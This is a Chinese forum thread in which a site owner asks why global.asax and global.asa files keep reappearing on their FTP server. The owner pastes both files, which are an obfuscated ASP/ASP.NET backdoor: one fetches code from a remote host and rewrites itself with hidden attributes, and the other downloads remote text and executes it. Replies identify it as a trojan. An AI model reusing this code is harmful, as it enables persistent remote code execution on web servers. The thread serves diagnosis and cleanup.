关于FTP目录下会自动生成global.asax文件

Question

我的FTP目录下总会自动生成global.asax、global.asa这两个文件，删除了也会自动生成。哪位高手知道，请指教哈！

Answer 1

我把这两个文件的内容粘出来，大家帮我看看。
这个是global.asax文件的内容：
<%@ Language="VB"%><%@ Import Namespace="System.IO"%><script language="VB" runat="server"> Sub Session_Start()
'by-aming
dim url1,url2,ObjXMLHTTP,CODE1,CODE2
url1="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"s"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&":"&"8"&"0"&"8"&"0"&"/"&"c"&"o"&"d"&"e"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"_"&"a"&"s"&"a"&"x"&"."&"t"&"x"&"t"
url2="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"s"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&":"&"8"&"0"&"8"&"0"&"/"&"c"&"o"&"d"&"e"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"."&"t"&"x"&"t"
ObjXMLHTTP=CreateObject("Microsoft.XMLHTTP")
ObjXMLHTTP.Open("GET",url1,False)
ObjXMLHTTP.setRequestHeader("User-Agent",url1)
ObjXMLHTTP.send
CODE1=ObjXMLHTTP.responseText
ObjXMLHTTP = Nothing ObjXMLHTTP=CreateObject("Microsoft.XMLHTTP")
ObjXMLHTTP.Open("GET",url2,False)
ObjXMLHTTP.setRequestHeader("User-Agent",url2)
ObjXMLHTTP.send
CODE2=ObjXMLHTTP.responseText
ObjXMLHTTP = Nothing if instr(CODE1,"by-aming")>0 and instr(CODE2,"by-aming")>0 then
dim fso,f
dim objwriter As StreamWriter
fso = Server.CreateObject("scripting.filesystemobject")
if fso.FileExists("\\.\"&Server.MapPath("/global.asax")) then
f=fso.Getfile("\\.\"&Server.MapPath("/global.asax"))
f.Attributes=0
objwriter= File.CreateText(server.mappath("/global.asax"))
objwriter.write(CODE1)
objwriter.close
f.Attributes=1+2+4
f=Nothing
end if
if fso.FileExists("\\.\"&Server.MapPath("/global.asa")) then
f=fso.Getfile("\\.\"&Server.MapPath("/global.asa"))
f.Attributes=0
objwriter= File.CreateText(server.mappath("/global.asa"))
objwriter.write(CODE2)
objwriter.close
f.Attributes=1+2+4
f=Nothing
end if
fso = Nothing
objwriter = Nothing
end if
dim geturl
geturl=LCase(Request.Url.ToString())
if instr(geturl,"amseojc=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.aspx")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/default.aspx")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then
response.write("<h1>Service Unavailable</h1><div style=""display:none""><"&"script src=""http://js.users.51.la/4096921.js""><"&"/script></div>")
response.end
End if
End Sub
</script>

Answer 2

以下是global.asa文件的内容：<script language="vbscript" runat="server">
'by-aming
sub Application_OnStart
end subsub Application_OnEnd
end subsub Session_OnStart
On Error Resume Next
url="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"s"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&":"&"8"&"0"&"8"&"0"&"/"&"c"&"o"&"d"&"e"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"_"&"l"&"o"&"a"&"d"&"."&"t"&"x"&"t"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
set objStream=Nothing
if instr(GetHtml,"by-aming")>0 then
execute GetHtml
end if
end subsub Session_OnEnd
end sub
</script>

Answer 3

你中了木马了,在FTP中查找*.asp  *.asax类型的文件,查看内容,如果不是你的就删掉,另外查看一下程序是否有上传漏洞被利用

Answer 4

问题解决了没？
http://topic.csdn.net/u/20101201/20/75f03643-42f2-4fe3-8252-da1aca342dca.html?seed=618132951&r=70506360#r_70506360

Answer 5

啊，那个东西是ajax的东西，，，可能中标了